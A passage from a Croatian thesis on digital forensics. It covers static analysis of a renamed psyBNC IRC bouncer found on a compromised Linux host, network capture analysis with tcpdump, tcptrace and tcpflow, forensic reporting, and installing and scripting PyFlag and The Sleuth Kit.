Generiranje sadržaja datotečnog sustava predstavlja iznimno važan korak prilikom analize forenzičke kopije. Informacije koje se dobiju često se koriste za rekonstrukciju događaja na kompromitiranom sustavu. Za svaku datoteku datotečnog sustava potrebno je generirati što više informacija. Slijedeći popis predstavlja neke informacije koje svaka datoteka mora imati [18]:

l        apsolutnu putanju (gdje se datoteka nalazi)

l        vrijeme zadnjeg pristupa, vrijeme zadnje promjene, vrijeme stvaranja datoteke (MAC vremenske oznake)

l        veličina

l        sažetak (MD5, SHA1)

Izrada sažetaka svake od datoteka omogućava izdvajanje datoteka koje je potrebno dodatno analizirati. Na taj način može se drastično smanjiti broj datoteka koje je potrebno analizirati i koncentrirati se samo na one važne. Usporedba sažetaka se može ostvariti s javno dostupnom bazom sažetaka, koja je dostupna kao dio NSRL projekta [19]. Cilj NSRL projekta je prikupljanje računalnih programa i izrada profila za svaki od njih. Profili se spremaju u odgovarajuću bazu podataka koja se može koristiti u svrhu identifikacije poznatih datoteka kompromitiranog sustava.

Grupiranje datoteka u odgovarajuće grupe (tekstualne datoteke, izvršne datoteke, komprimirane datoteke) olakšava njihovo pretraživanje. Pretraživanje se ostvaruje po nekoj zadanoj ključnoj riječi. Ključne riječi moraju biti kvalitetno oblikovane kako bi pretraživanje bilo što učinkovitije. Tehnika pretraživanja obično se svodi na ekstrakciju znakovnih nizova, te njihovo pretraživanje prema zadanom uzorku. Tu funkciju moguće je ostvariti korištenjem standardnih GNU/Linux alata strings i grep kao što je prikazano na slici 2.7.

# strings /usr/bin/ssh | grep -A 5 -B 5 -i
...
auth-agent-req@openssh.com
Requesting tun.
tun@openssh.com
TERM
../ssh.c
...
OpenSSH_4.3p2 Debian-8ubuntu1
...
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_rsa_key
...
usage: ssh [-1246AaCfgKkMNnqsTtVvXxY] [-b bind_address] [-c cipher_spec]
...

Slika 2.7. Korištenje naredbi strings i grep

U primjeru na slici 2.7 pretražen je sadržaj datoteke ssh koja predstavlja ssh [11] klijent program. Pretraživanje je obavljeno po ključnoj riječi "ssh" korištenjem alata grep [11]. Prije pretraživanja alatom strings [11] izdvojeni su svi znakovni nizovi koje navedena datoteka sadrži. Uvidom u rezultate vidljivo je da se radi o ssh klijent programu.

Mnogi programi kako bi mogli funkcionirati na ispravan način stvaraju privremene datoteke koje koriste u svojem radu. Vrlo često takve datoteke ostaju na sustavu i nakon što procesi koji ih koristi završe. Pregledavanjem sadržaja takvih datoteka mogu se otkriti važni dokazi. Na GNU/Linux operacijskim  sustavima postoji posebno kazalo /tmp. To kazalo ima postavljena prava za čitanje, pisanje i pokretanje programa za sve korisnike na sustavu, što je potrebno za ispravno funkcioniranje samog sustava. Upravo to omogućava napadačima nesmetano pokretanje odabranih programa bez dodatnih ovlasti nad sustavom.

Primjer na slici 2.8 prikazuje prava pristupa na kazalu /tmp u GNU/Linux operacijskom sustavu.

# ls -l /
drwxrwxrwt  12 root root  4096 2007-08-13 15:36 tmp

Slika 2.8. Prava pristupa kazala tmp

Naprednije tehnike analize moguće je ostvariti korištenjem The Sleuth kit alata koji će biti opisani u nastavku.

 2.4.2.                   Analiza napadačkih programa

Tijekom analize kompromitiranog sustava postoji vjerojatnost pronalaženja programa koje je ostavio napadač, a za koje nije moguće odrediti pravu funkciju bez detaljnije analize. Često ti programi mogu biti preimenovani kako bi dodatno sakrili svoju namjenu (obično u nazive standardnih programa sustava). Pronađene programe potrebno je dodatno analizirati kako bi se utvrdila njihova prava funkcija, te kako bi se mogao odrediti njihov utjecaj na kompromitirani sustav.

Općenito programi se mogu podijeliti na statički i dinamički vezane. Statički programi neovisni su i ne zahtijevaju dodatne biblioteke za svoj rad (program sadrži sve što je potrebno za njegovo izvršavanje). Rad dinamičkih programa temelji se na korištenju raznih dijeljenih biblioteka operacijskog sustava. Dinamički programi manje su veličine nego statički, te dozvoljavaju razne promjene u bibliotekama bez utjecaja na glavni program, što ih čini puno fleksibilnijim. Napadač može dodatno primijeniti razne tehnike kompresija programa kako bi ih dodatno sakrio. Komprimiranje je osobito učinkovito kod IDS sustava kod kojih se prepoznavanje odvija usporedbom odgovarajućih sažetaka.

Analiza napadačkih programa može se podijeliti na statičku i dinamičku. Statička analiza jednostavnija je za primjenu i sastoji se od nekoliko jednostavnih koraka:

l        identifikacija tipa datoteke programa

l        ekstrakcija znakovnih nizova iz datoteke programa

l        provjera dostupnosti programa (da li je program javno dostupan). Pokušati dohvatiti program ako je dostupan i napraviti odgovarajuću analizu

l        analizirati izvorni kod programa ako je dostupan

Za ilustraciju procesa statičke analize može poslužiti datoteka initd, koja je pronađena prilikom forenzičke analize GNU/Linux RedHat 7.2 sustava. Datoteka je pronađena unutar kazala /etc/opt/psybnc. U prvom koraku potrebno je identificirati tip datoteke, za što će poslužiti naredba file [11].

# file -b initd
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

Slika 2.9. Određivanje tipa formata datoteke korištenjem naredbe file

Iz primjera na slici 2.9 vidljivo je da se radi o izvršnoj datoteci u ELF (executable and linking format) formatu. ELF format je standardni format izvršnih datoteka koji je karakterističan za GNU/Linux operacijske sustave [20]. Dodatno, vidljivo je da je program kompiliran za Intel arhitekturu, da se radi o dinamičkoj datoteci, te da su svi simboli uklonjeni iz datoteke (naredba strip). Kako se radi o izvršnoj datoteci, jedini način da se dobije uvid u sadržaj datoteke (koji nešto znači) je ekstrakcijom znakovnih nizova kao što je to prikazano na slici 2.10. Kod pregleda dobivenih znakovnih nizova treba obratit pozornost na informacije koje upućuju na jezični procesor koji je korišten, izvorni kod programa, tekstualne poruke koje se ispisuju i sl.

# strings initd
...
src/psybnc.c
...
src/p_client.c
...
%spsyBNC2.3.1%s
...
intnet-psybnc.net
:-psyBNC!psyBNC@lam3rz.de PRIVMSG %s :BHELP User defined Aliases:
@(#)$Id: psybnc.c, v 2.3.1 2002/04/05 02:03:01 psychoid Exp $
...

Slika 2.10. Ekstrakcija znakovnih nizova korištenjem naredbe strings

Dobivene informacije koristiti će se kao ključne riječi za pretraživanje na Internet adresi http://www.google.com. Pretraživanjem je vrlo brzo otkrivena adresa http://www.psybnc.at. Pregledom sadržaja s navedene adrese ustanovljeno je da navedeni program predstavlja tako zvani IRC-bouncer, program čija je uloga održavanje veze s IRC serverom ili prikrivanje izvorne adrese klijenta koji se povezuje na IRC server [21]. Činjenicu da je pronađeni program ustvari IRC-Bouncer, pod nazivom psybnc, moguće je potvrditi dodatnim pretraživanjem datoteke initd. Kako je u opisu programa navedeno da podržava kriptiranje koristeći idea i blowfish algoritme, nazivi algoritma poslužit će kao ključne riječi za pretraživanje. Primjer sa slike 2.11 prikazuje pretraživanje znakovnih nizova datoteke initd.

# strings initd | grep -i "idea"
src/p_idea.c
IDEA_MUL
IDEAKEY_generate
IDEAKEY_clear
IDEAencrypt
IDEAdecrypt
IDEA_keyset
IDEA_gethashedencryptionkey
IDEA_gethasheddecryptionkey
IDEA_stringencrypt
IDEA_stringdecrypt

# strings initd | grep -i "blowfish"
src/p_blowfish.c
InitializeBlowfish

Slika 2.11. Pretraživanje znakovnih nizova datoteke initd

Iz prvog pregleda znakovnih nizova (slika 2.10) ustanovljeno je da se radi o verziji programa 2.3.1 (%spsyBNC2.3.1%s). Kako je pronađeni program slobodno dostupan, isti je preuzet s adrese http://www.psybnc.at radi dodatne analize.

# tar xvzf psyBNC2.3.1.tar.gz
# cd psybnc
# make

Naredbom make pokrenuto je kompiliranje programa psybnc. Kao rezultat dobivena je izvršna datoteka psybnc, a ne initd koja je prvobitno pronađena. Konačan zaključak je da je napadač promijenio naziv datoteke kako bi prikrio instalirani program, i to u naziv koji predstavlja standardni program na GNU/Linux operacijskim sustavima [11].

Za razliku od statičke analize, dinamička analiza je nešto zahtjevnija. Glavni pristup kod ovog tipa analize je pokretanje pronađenog programa u specijalno pripremljenoj okolini (sandbox) [22]. Nakon što je program pokrenut, korištenjem raznih alata (na primjer strace i ltrace GNU/Linux alati [11]) prati se njegovo ponašanje i interakcija s operacijskim sustavom. U većini slučajeva provođenje statičke analize je dovoljno kako bi se utvrdila funkcija pronađenog programa.

 2.4.3.                   Analiza mrežnih dokaza

Analizu mrežnih dokaza moguće je provesti korištenjem više različitih alata. Neki od njih su alati tcpdump, snort, tcptrace, tcpflow, etheral. Bitno je napomenuti da su svi navedeni alati slobodno dostupni. Podaci korišteni u primjerima preuzeti su s stranice www.honeynet.org.

Slika 2.12 prikazuje pregled zaglavlja mrežne komunikacije korištenjem tcpdump alata.

# tcpdump -n -r 0826@19-snort.log
01:59:50.250759 IP 192.168.0.9 > 192.168.0.99: ICMP echo request, id 31465, seq 0, length 8
01:59:50.250837 IP 192.168.0.99 > 192.168.0.9: ICMP echo reply, id 31465, seq 0, length 8
01:59:50.250803 IP 192.168.0.9.52218 > 192.168.0.99.80: . ack 4094787819 win 2048
01:59:50.250878 IP 192.168.0.99.80 > 192.168.0.9.52218: R 4094787819:4094787819(0) win 0
02:00:00.596850 IP 192.168.0.9.52198 > 192.168.0.99.52156: S 68054434:68054434(0) win 2048
02:00:00.596958 IP 192.168.0.99.52156 > 192.168.0.9.52198: R 0:0(0) ack 68054435 win 0
02:00:00.596896 IP 192.168.0.9.52198 > 192.168.0.99.28494: S 68054434:68054434(0) win 2048
02:00:00.596994 IP 192.168.0.99.28494 > 192.168.0.9.52198: R 0:0(0) ack 68054435 win 0
02:00:00.596926 IP 192.168.0.9.52198 > 192.168.0.99.11179: S 68054434:68054434(0) win 2048
02:00:00.597005 IP 192.168.0.99.11179 > 192.168.0.9.52198: R 0:0(0) ack 68054435 win 0
...

Slika 2.12. Pregled mrežnog prometa korištenjem tcpdump alata

Svaki redak predstavlja jedan smjer komunikacije. Oznaka > pokazuje smjer u kojem se komunikacija odvija. Zastavica -n označava da je ispis IP adresa u brojčanom obliku, dok zastavica -r označava da podatke čitamo iz datoteke.

Naredba tcptrace [11] omogućava pregled svih pokušaja uspostavljanja veze TCP protokola. Kao ulaz, naredba prihvaća datoteku koja mora biti u tcpdump formatu [11]. Slika 2.13 prikazuje korištenje tcptrace alata.

# tcptrace -n -r 0826@19-snort.log
163832 packets seen, 163816 TCP packets traced
elapsed wallclock time: 0:00:03.696079, 44325 pkts/sec analyzed
trace file elapsed time: 0:27:41.982294
TCP connection info:
  1: 192.168.0.9:52218 - 192.168.0.99:80 (a2b)               1>    1<  (reset)
  2: 192.168.0.9:52198 - 192.168.0.99:52156 (c2d)            1>    1<  (reset)
  3: 192.168.0.9:52198 - 192.168.0.99:28494 (e2f)            1>    1<  (reset)
  4: 192.168.0.9:52198 - 192.168.0.99:11179 (g2h)            1>    1<  (reset)

  5: 192.168.0.9:52198 - 192.168.0.99:11796 (i2j)            1>    1<  (reset)
  6: 192.168.0.9:52198 - 192.168.0.99:44101 (k2l)            1>    1< (reset)
  7: 192.168.0.9:52198 - 192.168.0.99:1242 (m2n)             1>    1<  (reset)
...

Slika 2.13. Korištenje tcptrace alata

Prvih par redaka na slici 2.13 odnosi se na statističke podatke: brzina obrade zapisa, broj zapisa, i vrijeme koje je bilo potrebno za obradu svih zapisa. Kao što se može vidjeti svaki zapis ima svoj redni broj i označava jedan pokušaj uspostavljanja komunikacije. Analizom svih zapisa može se zaključiti da je uspostava komunikacije jednostrana (drugo računalo odgovara na zahtjev), odnosno da računalo na adresi 192.168.0.9 neprestano šalje pakete prema računalu 192.168.0.99. Nadalje svaki zapis dodatno otkriva da niti jedan pokušaj uspostave komunikacije nije uspostavljen i završen na ispravan način (oznaka reset), te broj paketa koji se šalje je jedan (oznake 1> i 1<) za jedan i drugi smjer (drugi smjer je odgovor na prvi poslani paket).

Korištenjem alata tcpflow kao na slici 2.14 moguće je napraviti rekonstrukciju tokova podataka nastalih tijekom komunikacije. Kako bi rekonstrukcija tokova bila potpuna, potrebno je osim zaglavlja mrežne komunikacije prikupiti i podatke koji se prenose.

# tcpflow -v -r 0826@19-snort.log port 20

tcpflow[26873]: tcpflow version 0.21 by Jeremy Elson <jelson@circlemud.org>
tcpflow[26873]: looking for handler for datalink type 1 for interface 0826@19-snort.log
tcpflow[26873]: found max FDs to be 16 using OPEN_MAX
tcpflow[26873]: 192.168.000.009.52218-192.168.000.099.00080: new flow
tcpflow[26873]: 192.168.000.099.00080-192.168.000.009.52218: new flow
tcpflow[26873]: 192.168.000.009.52198-192.168.000.099.00080: new flow
tcpflow[26873]: 192.168.000.099.00080-192.168.000.009.52198: new flow
tcpflow[26873]: 192.168.000.009.52199-192.168.000.099.00080: new flow
tcpflow[26873]: 192.168.000.099.00080-192.168.000.009.52199: new flow
tcpflow[26873]: 192.168.000.009.42314-192.168.000.099.00080: new flow
tcpflow[26873]: 192.168.000.099.00080-192.168.000.009.42314: new flow
tcpflow[26873]: 192.168.000.009.42294-192.168.000.099.00080: new flow
...

Slika 2.14. Korištenje tcpflow alata

Pažljivom interpretacijom mrežnih dokaza može se saznati niz informacija koje mogu pomoću u rekonstrukciji događaja koji su se dogodili na mreži. Također, mrežni dokazi mogu predstavljati važan izvor informacija prilikom analize sustava u radnom stanju ili post-mortem.

 2.5.                        Dokumentiranje rezultata

Dokument koji opisuje analizu sadržaja nekog računalnog ili mrežnog sustava naziva se izvještaj računalne (mrežne) forenzike [23]. Pisanje izvještaja od iznimne je važnosti kako bi se dokazi uopće mogli iskoristiti. Forenzičar mora biti u stanju napraviti iscrpni izvještaj koji će sadržavati ključne činjenice vezane za slučaj, i omogućiti razumijevanje cijelog događaja koji se dogodio na nekom sustavu. Svaki forenzičar trebao bi imati jedan standardni način dokumentiranja koji bi obuhvaćao odgovore na pitanja, kao što su: Zašto je analiza provedena?, Kako je analiza provedena? (koje su metode i alati korišteni) i Na koji način se došlo do određenih zaključaka?. Zaključci koji se dokumentiraju moraju biti dobro objašnjeni i moraju sadržavati dokaze koji na njih upućuju.

Svaki pisani izvještaj trebao bi zadovoljiti sljedeće ciljeve:

l        mora sadržavati detaljan opis slučaja

l        mora biti razumljiv

l        ne smije biti dvosmislen

l        mora biti pregledan i omogućiti jednostavno snalaženje

l        mora sadržavati sve relevantne informacije koje će poduprijeti donesene zaključke

l        mora sadržavati ispravne zaključke, stručno mišljenje, preporuke za poduzimanje dodatnih koraka

l        cijeli izvještaj mora biti pravodobno napravljen (na vrijeme)

Generalno gledajući forenzički izvještaj može se podijeliti na izvještaje koji uključuju samo činjenice pronađene tijekom analize, te izvještaje koji sadrže činjenice i mišljenje forenzičara (expert report).

Prema zahtjevima koji su ovdje navedeni, može se zaključiti da pisanje izvještaja nije trivijalan posao i da zahtjeva maksimalnu preciznost, jer u protivnome rezultati neće biti od velike koristi. Pisanje izvještaja ne predstavlja jedini oblik dokumentacije koja se izrađuje tijekom forenzičke analize. Vrlo važno je voditi dokumentaciju cijelog postupka koji se provodi, kako bi se isti mogli ponoviti ako to bude potrebno. Vrlo praktično se pokazuje korištenje alata koji omogućavaju automatsko bilježenje svih radnji koje se izvode. Jedan od takvih je script alat, koji kada pokrenut bilježi sve radnje u zadanu datoteku. Slika 2.15 prikazuje primjer korištenja script alata.

# script analiza_programa.initd
Script started, file is  analiza_programa.initd
#exit
exit
Script done, file is analiza

Slika 2.15. Korištenje script alata

Izvršavanjem naredbe exit, prekida se izvođenje alata script. Datoteka analiza_programa.initd sadrži sve radnje koje su izvršene pri statičkoj analizi programa initd, objašnjenoj u prethodnom poglavlju.

 3.        Forenzički alati

U ovom poglavlju biti će objašnjeni forenzički alati PyFlag i The Sleuth kit s pripadnim grafičkim sučeljem Autopsy. Navedeni alati predstavljaju alate otvorenog koda, te su slobodno dostupni na Internet stranicama.

 3.1.                        Forenzički alat PyFlag

Forenzički alat PyFlag predstavlja implementaciju FLAG alata korištenjem python programskog jezika. Prisutnost python jezika može se primijetiti i u samom nazivu alata, prefiks "py". Alat je izgrađen na bogatom razvojnom okviru, koji se može koristi u razvoju raznih novih projekata [24]. Za svoj rad alat koristi bazu podataka, što je velika prednost u radu s velikim količinama podataka. Glavne funkcije alata obavljaju se putem web sučelja, što je dodatna prednost jer omogućava pokretanje alata na poslužitelju, te više korisnički rad. Svaki slučaj koji se obrađuje predstavlja instancu za sebe (case) što osigurava integritet izvođenja akcija.

 3.1.1.                   Korištenje

Forenzičku analizu moguće je napraviti na nekoliko razina [25]:

l        analiza tvrdog diska

l        analiza dnevnika računalnih sustava

l        analiza mrežnog prometa

Dodatno alat omogućava automatizaciju i proširivanje putem konzolnog alata pyflash.

Arhitektura alata je zamišljena kao niz modula koji obavljaju zasebne funkcije. Redom to su moduli:

l        ulazni modul (IO)

l        modul datotečnog sustava

l        modul virtualnog datotečnog sustava (VFS)

l        modul za skeniranje

l        modul za prikaz

  Ulazni modul

Ulazni modul predstavlja početak svake analize. Kako bi mogao pročitati podatke potrebno je definirati parametre koji opisuju format u kojem je pohranjena forenzička kopija. Modul predstavlja jedan oblik upravljačkog programa, koji sadrži parametre potrebne za interpretaciju različitih formata datotečnih sustava. Trenutno Pyflag podržava pet različitih modula:

l        advanced

l        remote

l        ewf

l        mount

l        sgzip

Advanced modul se koristi kada kopija predstavlja cijeli tvrdi disk, te je dodatno potrebno specificirati odmak koji označava početak particije koja se želi analizirati.

Remote modul omogućava spajanje na udaljeno računalu zadavanjem IP adrese, pristupne točke, i naziva kopije koja se na njemu nalazi.

EWF modul sadrži parametre i procedure potrebne za čitanje Eye Witness formata zapisa. Ovo je komercijalni format, koji je karakterističan za alate Encase i Forensic toolkit (FTK).

Mount modul omogućava priključivanje kazala i njegovog sadržaja. To omogućava analizu datotečnih sustava kao što su ISO9660.

Sgzip je modul koji može pročitati datoteke komprimirane u sgzip formatu. Funkcija mu se temelji na gzip formatu, s time da ima mogućnost pretraživanja (indeksiranja) sadržaja. Kompresiju je moguće ostvariti sgzip alatom, koji je dio PyFlag alata.

  Modul datotečnog sustava

Uloga ovog modula je interpretacija datoteka i kazala datotečnog sustava, te prosljeđivanje dobivenih podataka modulu virtualnog datotečnog sustava. Trenutno podržani formati datotečnog sustava su:

l        sleuthkit (NTFS, exst2, ext3, ...)

l        sirovi format (raw)

l        pcap

l        mounted

Pcap format je karakterističan za podatke prikupljene u mrežnoj komunikaciji. Bitno je napomenuti da jedan dio funkcionalnosti (podrška za različite formate datotečnih sustava) modul preuzima od forenzičkog alata The Sleuth Kit, pa je iz tih razloga uzet format sleuthkit koji objedinjuje više različitih formata datotečnih sustava.

Mounted je format koji je povezan s mount ulaznim modulom, te omogućava interpretaciju kazala i datoteka. Sirovi format karakterističan je za alate tipa dd i dcfld.

  VFS modul

Nakon što su podaci s datotečnog sustava pročitani, prosljeđuju se VFS (Virtual File System) modulu. Na temelju primljenih podataka modul gradi virtualni datotečni sustav u kojem sve predstavlja datoteku (Linux filozofija) s određenom inode oznakom. Oznaka inode identificira svaku datoteku u VFS-u kao niz znakova (u ext2/ext3 datotečnim sustavima je cijeli broj). Oznaka može biti složena, tako da se sastoji od niza znakova odvojenih znakom "|". Svaki dio oznake ima svoje značenje i koristi se kod operacije otvaranja datoteke.

VFS podržava tri osnove operacije:

l        stvaranje nove datoteke

l        otvaranje datoteke

l        pregled postojećih datoteka

VFS modul može primati podatke od modula za skeniranje. Podaci predstavljaju rezultate ispitivanja postojećih datoteka. Dodatno rezultati se oblikuju, i korištenjem operacije dodavanja, dodaju u VFS.

Na slici 3.1 prikazan je primjer virtualnog datotečnog sustava korištenjem forenzičke kopije ext3 datotečnog sustava.

Text Box: Slika  SEQ "Slika" \*Arabic 3.1. Primjer virtualnog Linux datotečnog sustava
Lijeva strana sadrži hijerarhijski prikaz kazala, dok je na desnoj vidljiv sadržaj odabranoga kazala.

  Modul za skeniranje

Ovaj modul predstavlja niz različitih alata čija je funkcija ispitivanje datoteka i kazala. Na svaku novo stvorenu virtualnu datoteku primjenjuje se niz predefiniranih alata za skeniranje. Trenutno Pyflag podržava četiri grupe skeniranja koje se mogu dodatno podešavati:

l        mrežno skeniranje (prikuplja podatke vezane za POP, HTTP, MSN, IRC, YAHOO IM protokole)

l        skeniranje komprimiranih datoteka (gzip, tar i zip formati)

l        skeniranje tipa formata datoteka (utvrđivanje tipa formata datoteke, ...)

l        generalno skeniranje (izrada sažetaka, identifikacija virusa, ...)

  Modul za prikaz

Svi prethodno opisani moduli obavljaju fazu ekstrakcije podataka (faza generiranja izvještaja). Nakon toga modul za prikaz oblikuje te podatke i omogućava njihovu analizu (pregledavanje). Faza ekstrakcije je najzahtjevnija i obično se odvija samo jednom.

  Analiza mrežnog prometa

Korištenjem Pyflag alata moguće je analizirati podatke koji su prikupljeni na mreži, odnosno snimanjem mrežne komunikacije. Odabirom pcap modula datotečnog sustava, može se interpretirati bilo koja datoteka koja sadrži podatke u pcap formatu. Pcap format je moguće generirati tcpdump alatom.

  Analiza dnevnika računarskih sustava

Analiza dnevnika je vrlo zahtjevan proces zbog velikih količina podataka koje sadrži. Alat PyFlag omogućava analiziranje proizvoljnih formata dnevnika kroz funkciju predloška. Predložak dnevnika predstavlja unaprijed definirani niz pravila prema kojima se ostvaruje parsiranje podataka (procesor dnevnika) i njihovo spremanje u bazu podataka. Na taj način koncentraciju je moguće usmjeriti samo na interpretaciju podataka. Nadalje, svaki od definiranih predložaka je moguće ponovno iskoristiti za neku drugu instancu slučaja. Pyflag trenutno podržava tri predloška koji su namijenjeni analizi dnevnika u IIS, Apache log i Iptables/Netfilter formatu. Osim navedenih, moguće je napraviti i vlastite predloške odabirom simple ili advanced procesora dnevnika.

  Funkcija Pyflash alata

Pyflash predstavlja alternativu za korištenje Pyflag alata. Drugim riječima, umjesto grafičkog sučelja moguće je koristiti konzolni alat. Glavna prednost ovog alata je ta što omogućava automatiziranje postupaka analize (ekstrakcije podataka) kroz izradu skripti. Standardne postupke, kao što su odabir ulaznog modula, modula datotečnog sustava, te izradu instance slučaja moguće je na odgovarajući način pohraniti u skriptu, koja se može izvoditi za svaku novu instancu slučaja zasebno. Ova prednost dolazi do izražaja u situacijama kada je potrebno analizirati velike količine podataka koji potječu iz više različitih izvora (različite forenzičke kopije). Dodatno, funkcionalnost pyflash alata moguće je kombinirati s python programskim alatom, te na taj način proširiti njegove mogućnosti.

Primjer na slici 3.2 prikazuje pyflash skriptu koja omogućava stvaranje nove instance slučaja i učitavanje datotečnog sustava u instancu.

1. execute Case\ Management.Create\ new\ case create_case=%(case)s
2. set case=%(case)s
3. execute Load\ Data.Load\ IO\ Data\ Source iosource=Advanced   io_filename=%(Image filename)s io_offset=0
4. execute Load\ Data.Load\ Filesystem\ image iosource=Advanced  fstype=linux-ext3 scan=TypeScan scan=DeletedScan scan=MD5Scan

Slika 3.2. Primjer pyflash skripte

Naredba execute služi za pokretanje metoda pyflag alata. Svaka od metoda pripada nekoj određenoj grupi (grupa za učitavanje podataka, grupa za upravljanje instancama slučaja i sl.). Pozivanje metoda ostvaruje se navođenjem grupe i funkcije koju ta metoda obavlja u grupi. Naziv grupe potrebno je odvojiti točkom od njezine funkcije, kao što je to prikazano u sljedećem primjeru. Oznaka \ naglašava da se naziv grupe i funkcije sastoji od više riječi odvojenih razmakom. U ovom primjeru metoda predstavlja grupu za upravljanje slučajevima, a funkcija je stvaranje nove instance slučaja.

Case\ Management.Create\ New\ Case

Sve pyflag metode, pozivaju se na jednak način korištenjem grafičkog sučelja alata. Jedina razlika je u njihovom navođenju. U slučaju grafičkog sučelja, metode se pozivaju preko URL adrese. Dodatno, osim navođenja metode, potrebno je zadati ulazne argumente za svaku metodu. Ako se vratimo na primjer skripte (slika 3.2), može se vidjeti da se ona sastoji od četiri zasebne naredbe. Prva naredba omogućava stvaranje nove instance slučaja. Kao ulazni argument potrebno je zadati naziv instance (create_case). U primjeru sa slike 3.2 to se postiže zadavanjem varijable u obliku %(case).

Nakon uspješnog stvaranja instance, postavlja se varijabla okoline case s nazivom novo stvorenoga slučaja. To omogućava da se kasnije na jednostavan način učita slučaj zadavanjem imena instance kao ulazni argument naredbe load. Postavljanje varijable okoline omogućeno je naredbom set. Zadnje dvije naredbe omogućavaju redom inicijalizaciju ulaznog modula i modula datotečnog sustava. Za unos vrijednosti varijabli brine se pyflash ljuska postavljanjem odgovarajućih upita.

Kao što je u uvodnom dijelu spomenuto pyflag je izgrađen nad vrlo bogatim okvirom kojeg je moguće iskoristi u razvoju drugih forenzičkih alata [26]. Upravo to omogućava iskorištavanje programskog jezika python u svrhu proširivanja mogućnosti samog pyflag alata.

Primjer na slici 3.3 prikazuje uporabu python programskog jezika i pyflagsh modula. Sva funkcionalnost pyflash ljuske dostupna je preko pyflagsh modula.

""" A program demonstrating the automation of flag using the Flag Shell and python.
We extract all the files with type like image into the /tmp/ directory"""
## Provides access to the pyflag shell
import pyflag.pyflagsh as pyflagsh
## First we load the filesystem in:
pyflagsh.shell_execv('load','demo')
#Do a big find over the filesystem to recover all the files
for file in pyflagsh.shell_execv_iter('find_dict','/'):
    # Use file to check their magic
    t = pyflagsh.shell_execv('file',"%s%s" % (file['path'],file['name']))
    try:
        if t and t['type'].index('image'):
            ## Create this file in the /tmp/ directory

            new_filename = "/tmp/results/%s" % file['name']
            if not new_filename.endswith('.jpg'): new_filename+='.jpg'
            print "created file %s magic %s" % (new_filename,t['type'])
            fd = open(new_filename,'w')
            for data in pyflagsh.shell_execv_iter('cat',"%s%s" % (file['path'],file['name'])):
                fd.write(data)
            fd.close()
    except ValueError:
        pass

Slika 3.3. Primjer korištenja pyflagsh modula

 3.1.2.                   Instalacija

Instalacija PyFlag forenzičkog alata sastoji se od nekoliko koraka. U prvom koraku potrebno je instalirati niz dodatnih alata koji se koriste u radu PyFlag alata.

$ sudo apt-get install \
     python-mysqldb \
     python-pexpect \
     python-imaging \
     python-dev \
     libmagic-dev \
     mysql-server \
     clamav-daemon

U drugom koraku potrebno je izvršiti sljedeće naredbe.

$ tar xvzf pyflag-{VERZIJA}.tar.gz
$ cd pyflag-{VERZIJA}/
$ ./configure --prefix=~/pyflag
$ make
$ make install

Oznaku {VERZIJA} potrebno je zamijeniti s verzijom alata koja je preuzeta s Internet adrese http://pyflag.sourceforge.net/. U trenutku izrade ovog diplomskog rada verzija je 0.84RC4. Zastavica –prefix=~/pyflag znači da će Pyflag alat biti instaliran u unutar kazala pyflag koje će se nalaziti u home kazalu trenutnog korisnika. Popis trenutno podržanih opcija instalacije može se dobiti naredbom.

$ ./configure –help

Nakon što je instalacija uspješno završila, potrebno je napraviti podešavanje baze podataka koja će se koristiti prilikom forenzičke analize.

$ echo "export $PATH=PATH:~/pyflag/bin" >> ~/.bashrc
$ mysqladmin -u root password "PASSWORD"

S prethodnom naredbom postavljena je zaporka za root korisnika (riječ PASSWORD potrebno je zamijeniti nekom primjerenijom zaporkom). Ako su svi koraci instalacije uspješno obavljeni, PyFlag forenzički alat može se pokrenuti sljedećom naredbom.

$ pyflag –flagdb=pyflag –dbuser=root –dbpasswd=PASSWORD

Ako se alat pokreće na poslužitelju zastavicom http_bindif potrebno je zadati adresu poslužitelja. Pokretanje alata ostvaruje se u web pregledniku navođenjem IP adrese i pristupne točke sustava na kojem je Pyflag instaliran.

 3.2.                        Forenzički alat The Sleuth kit

The Sleuth kit (TSK) predstavlja niz konzolnih alata namijenjenih forenzičkoj analizi [27].TSK je nastao na principima alata The Coroner's Toolkit (TCT) iz 2000 godine. TCT alati predstavljali su revoluciju među forenzičkim alatima, koji osim što su omogućavali dosta kvalitetnu forenzičku analizu, bili su alati otvorenog koda (open source). Osim dobrih strana TCT alata, postojali su određeni nedostaci (ograničenja) koji su utjecali na njihovu primjenu, a koji su kasnije uklonjeni razvojem TSK alata.

Namjena TSK alata je analiza datotečnog sustava kompromitiranog sustava [28]. Neki od formata datotečnih sustava koji su trenutno podržani su NTFS, EXT2/3, FAT, UFS, ISO9660. Osim konzolnog pokretanja naredbi, alat je moguće koristiti pomoću grafičkog sučelja Autopsy. Autopsy je HTML orijentirano grafičko sučelje, koje u pozadini koristi TSK alate.

 3.2.1.                   Korištenje

Analiza datotečnog sustava podijeljena je na analizu particija i sadržaja datotečnog sustava. Svaki alat analizira jedan segment datotečnog sustava. Prefiks alata dodatno određuje njegovu funkciju.

Tablica 3.1 sadrži prefikse naredbi i njihovo značenje.

Tablica 3.1. Prefiks naredbi TSK alata i njihovo značenje.

Prefiks alata

Namjena

Alati

disk

alati za rad s tvrdim diskom

disk_stat, disk_sreset

img

alati za rad s forenzičkom kopijom

img_stat, img_cat

mm

alati za rad s particijama

mmls, mmstat

fs

alati za rad s datotečnim sustavom

fsstat

j

alati za rad s dnevnikom dat. sustava

jcat, jls

i

alati za rad s meta podacima

icat, ifind, ils, istat

d

alati za rad s podacima

dls, dcat, dcalc

f

alati za rad s datotekama

fls, ffind

Osim navedenih alata, postoje dodatni alati koji se ne mogu svrstati u gore navedene grupe, zbog funkcije koju obavljaju. To su alati hfind, mactime, sorter i sigfind.

Alat disk_stat služi za provjeru stanja ATA tvrdog diska i potvrdu da li isti sadrži poseban zaštićeni prostor, tako zvani HPA (Host Protected Area) [29]. HPA rezervira određeni dio prostora tvrdog diska na način da se tom dijelu ne može pristupati i mijenjati njegov sadržaj od strane korisnika operacijskog sustava ili BIOS-a. Taj rezervirani prostor može predstavljati problem kod izrade forenzičke kopije, jer standardni alati koji su za to namijenjeni ne vide taj dio tvrdog diska. Dodatno postoje razni specijalni alati koji omogućavaju promjenu sadržaja HPA, što napadačima može omogućiti skrivanje raznih dokaza.

